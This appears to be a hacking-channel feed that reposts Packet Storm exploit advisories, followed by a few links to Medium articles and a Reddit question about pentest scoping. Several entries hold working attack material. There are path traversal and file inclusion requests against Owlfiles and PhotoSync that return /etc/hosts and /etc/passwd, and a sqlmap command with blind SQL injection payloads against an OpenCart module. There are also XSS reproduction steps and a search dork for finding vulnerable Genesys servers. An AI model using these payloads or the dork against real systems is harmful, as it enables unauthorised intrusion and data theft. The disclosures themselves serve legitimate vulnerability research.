Exploit Collector
Genesys PureConnect Cross Site Scripting

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Genesys PureConnect as of their build on 08-October-2020 suffers from a cross site scripting vulnerability.

SHA-256 | 2232d00fcafe4584b543e46f696b904d45b43d8ecf53a41949a52a39eaffc149

Download
Product: Genesys PureConnect - Interaction Web Tools Chat Service
Description: Interaction Web Tools Chat Service allows XSS within the Printable Chat History via the participant -> name JSON POST parameter.
Vulnerability Type: XSS
Vendor of Product: Genesys PureConnect
Affected Product Code Base: Interaction Web Tools - Chat Service - Appears to be all versions up to current release
Affected Component: "Print" feature of the Interaction Web Tools Chat: https://help.genesys.com/pureconnect/mergedprojects/wh_tr/desktop/pdfs/web_tools_dg.pdf
Attack Vectors:

* To exploit the Cross-Site Scripting vulnerability, visit https://
* Then press 'Start Chat'
* Then enter anything in the chat box like 'asdfg' and press send
* Now select the 'Printable Chat History' in the top right corner
* XSS will trigger. You can google dork for vulnerable versions with inurl:"/I3Root/chatOrCallback.html"
I'm assuming if an admin tries to print the chat conversation, it will trigger for them as well. Unable to confirm though.

Discoverer: Jake Murphy - Echelon Risk + Cyber - https://echeloncyber.com/

> [References]
> http://genesys.com
> http://interaction.com


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress GetYourGuide Ticketing 1.0.1 Cross Site Scripting

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
WordPress GetYourGuide Ticketing plugin version 1.0.1 suffers from a persistent cross site scripting vulnerability.

SHA-256 | dd8e52981b226511a35efc2482778941e5de97075699192860753ae706085694

Download
# *Exploit Title*: WordPress Plugin ‘GetYourGuide Ticketing’ - Stored
Cross-Site Scripting
# Date: 18-09-2022
# Exploit Author: Mariam Tariq - HunterSherlock
# Vendor Homepage:
https://wordpress.org/plugins/search/GetYourGuide+Ticketing/
# Version: 1.0.1
# Tested on: Firefox
# Contact me: mariamtariq404@gmail.com

# *Vulnerable code*:

``` ```

# *POC*:

1- Install the plugin ‘GetYourGuide Ticketing’ & activate it.
2- Navigate toward the GYG-Ticketing
3- Enter the XSS payload ` “>x `
4- Go to link builder to verify the XSS pop-up.

#* POC image*:

https://imgur.com/amrDhIt

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SoX 14.4.2 Division-By-Zero / Denial Of Service

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
SoX versions 14.4.2 and below suffer from a division by zero attack when handling WAV files, resulting in denial of service vulnerability and possibly loss of data.

SHA-256 | de24687825a9cff7e5ad1404c4b0d0dc865d45066f152f4d7a7a508384aca180

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Owlfiles File Manager 12.0.1 Path Traversal / Local File Inclusion

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png Owlfiles File Manager version 12.0.1 suffers from local file inclusion and path traversal vulnerabilities.

SHA-256 | 5e1df728b64bebf1797218fca034b9eeed532e773c31131307d679d65b406b40Download # Exploit Title: Owlfiles File Manager 12.0.1 - multi vulnerabilities
# Date: Sep 19, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.skyjos.com/
# Software Link:
https://apps.apple.com/us/app/owlfiles-file-manager/id510282524
# Version: 12.0.1
# Tested on: Ios 16.0
###########
path traversal on HTTP built-in server
###########

GET /../../../../../../../../../../../../../../../System/ HTTP/1.1
Host: 192.168.8.101:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e
Safari/8536.25
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: 42638202/1663558201/177889085
If-Modified-Since: Mon, 19 Sep 2022 03:30:01 GMT
Connection: close
Content-Length: 0

-------
HTTP/1.1 200 OK
Cache-Control: max-age=3600, public
Content-Length: 317
Content-Type: text/html; charset=utf-8
Connection: Close
Server: GCDWebUploader
Date: Mon, 19 Sep 2022 05:01:11 GMT
* Cryptexes/

* DriverKit/

* Library/

* Applications/

* Developer/
#############
LFI on HTTP built-in server
#############

GET /../../../../../../../../../../../../../../../etc/hosts HTTP/1.1
Host: 192.168.8.101:8080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e
Safari/8536.25
X-Requested-With: XMLHttpRequest
Referer: http://192.168.8.101:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
----

HTTP/1.1 200 OK
Connection: Close
Server: GCDWebUploader
Content-Type: application/octet-stream
Last-Modified: Sat, 03 Sep 2022 01:37:01 GMT
Date: Mon, 19 Sep 2022 03:28:14 GMT
Content-Length: 213
Cache-Control: max-age=3600, public
Etag: 1152921500312187994/1662169021/0

##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1 localhost
###############
path traversal on FTP built-in server
###############

ftp> cd ../../../../../../../../../
250 OK. Current directory is /../../../../../../../../../
ftp> ls
200 PORT command successful.
150 Accepted data connection
total 10
drwxr-xr-x 0 root wheel 256 Jan 01 1970 usr
drwxr-xr-x 0 root wheel 128 Jan 01 1970 bin
drwxr-xr-x 0 root wheel 608 Jan 01 1970 sbin
drwxr-xr-x 0 root wheel 224 Jan 01 1970 System
drwxr-xr-x 0 root wheel 640 Jan 01 1970 Library
drwxr-xr-x 0 root wheel 224 Jan 01 1970 private
drwxr-xr-x 0 root wheel 1131 Jan 01 1970 dev
drwxr-xr-x 0 root admin 4512 Jan 01 1970 Applications
drwxr-xr-x 0 root admin 64 Jan 01 1970 Developer
drwxr-xr-x 0 root admin 64 Jan 01 1970 cores
WARNING! 10 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
ftp>

#############
XSS on HTTP built-in server
#############

poc 1:

http://192.168.8.101:8080/download?path=

poc 2:

http://192.168.8.101:8080/list?path= Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PhotoSync 4.7 Local File Inclusion

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png PhotoSync version 4.7 suffers from a local file inclusion vulnerability.

SHA-256 | f5e6b3cd183e91afacf647b3547160e0d93026087e059f1843c8761cd5e32985Download # Exploit Title: PhotoSync 4.7 IOS APP Local file inclusion
# Date: Sep 19, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.photosync-app.com/home.html
# Software Link:
https://apps.apple.com/us/app/photosync-transfer-photos/id415850124
# Version: 4.7
# Tested on: iPhone IOS 16.0
GET /../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.8.101:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e
Safari/8536.25
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
-------

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2022 06:35:11 GMT
Accept-Ranges: bytes
Content-Length: 2791

##
# User Database
#
# This file is the authoritative user database.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:/smx7MYTQIi2M:0:0:System Administrator:/var/root:/bin/sh
mobile:/smx7MYTQIi2M:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_installd:*:33:33:Install Daemon:/var/installd:/usr/bin/false
_neagent:*:34:34:NEAgent:/var/empty:/usr/bin/false
_ifccd:*:35:35:ifccd:/var/empty:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false
_usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false
_distnote:*:241:241:Distributed Notifications:/var/empty:/usr/bin/false
_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false
_ondemand:*:249:249:On Demand Resource
Daemon:/var/db/ondemand:/usr/bin/false
_findmydevice:*:254:254:Find My Device
Daemon:/var/db/findmydevice:/usr/bin/false
_datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false
_captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false
_analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false
_timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false
_gpsd:*:267:267:GPS Daemon:/var/db/gpsd:/usr/bin/false
_reportmemoryexception:*:269:269:ReportMemoryException:/var/empty:/usr/bin/false
_driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false
_diskimagesiod:*:271:271:DiskImages IO
Daemon:/var/db/diskimagesiod:/usr/bin/false
_logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false
_iconservices:*:276:276:Icon services:/var/empty:/usr/bin/false
_rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false
_accessoryupdater:*:278:278:Accessory Update
Daemon:/var/db/accessoryupdater:/usr/bin/false
_knowledgegraphd:*:279:279:Knowledge Graph
Daemon:/var/db/knowledgegraphd:/usr/bin/false
_coreml:*:280:280:CoreML Services:/var/empty:/usr/bin/false
_sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false
_trustd:*:282:282:trustd:/var/empty:/usr/bin/false
_mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false
_darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false
_notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false
_backboardd:*:287:287:BackBoard:/var/empty:/usr/bin/false
_avphidbridge:*:288:288:Apple Virtual Platform HID
Bridge:/var/empty:/usr/bin/false
_launchservices:*:290:290:Launch Services:/var/empty:/usr/bin/false Source:packetstormsecurity.com

Exploit Collector
OpenCart 3.x Newsletter Custom Popup 4.0 SQL Injection

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
OpenCart 3.x Newsletter Custom Popup module version 4.0 suffers from a remote blind SQL injection vulnerability.

SHA-256 | 4463bea9399b42e27cadceb696475f29a869f99cd0cfa6c5ded3a40898daf09c

Download
# Exploit Title: OpenCart v3.x So Newsletter Custom Popup Module - Blind SQL Injection
# Date: 18/09/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=40259&filter_search=newsletter&filter_license=1&sort=date_added
# Version: v.4.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
* Description :

So Newsletter Custom Popup Module is compatible with any Opencart allows SQL Injection via parameter 'email' in index.php?route=extension/module/so_newletter_custom_popup/newsletter.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
* Steps to Reproduce :
- Go to : http://127.0.0.1/index.php?route=extension/module/so_newletter_custom_popup/newsletter
- Save request in BurpSuite
- Run saved request with : sqlmap -r sql.txt -p email --random-agent --level=5 --risk=3 --time-sec=5 --hex --dbs
Request :

===========

POST /index.php?route=extension/module/so_newletter_custom_popup/newsletter HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 29
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: Keep-alive

createdate=2022-8-28%2019:4:6&email=hi&status=0
===========

Output :

Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: createdate=2022-8-28 19:4:6&email=hi' AND 4805=4805-- nSeP&status=0

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: createdate=2022-8-28 19:4:6&email=hi' AND (SELECT 4828 FROM(SELECT COUNT(*),CONCAT(0x7176627071,(SELECT (ELT(4828=4828,1))),0x7178786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sRQS&status=0

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

THE BUG OFTEN IGNORED: BLIND XSS
https://faiyazhacks.medium.com/the-bug-often-ignored-blind-xss-1c93fac528ca?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

INTRODUCTIONContinue reading on Medium » (https://faiyazhacks.medium.com/the-bug-often-ignored-blind-xss-1c93fac528ca?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Regarding pentest scoping
https://www.reddit.com/r/Pentesting/comments/xigbf9/regarding_pentest_scoping/

Hello Everyone, Just wondering if can provide some guidance about scoping. Our team was tasked to facilitate a pentest activity for one of our customers. Scoping and quotes have been approved already. However, I noticed and found out that some of the items may need to be change. Is it still possible to redo the scoping. IE, one internal address changed to external. Instead of a hosted website testing, found out it’s the specific web application hosted on that external host, but also found out address is dynamic. It’s our first time facilitating this type of activity and obviously it’s not going help. Any advice is greatly appreciated. Thanks in advance. submitted by /u/g-lair (https://www.reddit.com/user/g-lair)
[link] (https://www.reddit.com/r/Pentesting/comments/xigbf9/regarding_pentest_scoping/) [comments] (https://www.reddit.com/r/Pentesting/comments/xigbf9/regarding_pentest_scoping/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
5 m hack — docker commands on AzureVM without sudo

Have you been frustrated with having to prefix every docker command on an AzureVM with sudo. Else, the dreaded:

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Uber hackeado, sistemas internos y documentos confidenciales presuntamente comprometidos

https://cdn-images-1.medium.com/max/1195/0*kpQ2WBa6rwA7iaid
Según el New York Times, los atacantes hackearon la cuenta de Slack de un empleado y la usaron para informar al personal interno que «la…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
0-Days and Tokens and Salts, Oh My! (An overview of my DEFCON AIV CTF Challenges)

https://cdn-images-1.medium.com/max/1374/0*GjQQL4HuopbUAH-o
I wrote 5 CTF challenges for the Defcon 30 AI Village Capture The Flag, I thought I would write a blog post to talk about the solutions…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video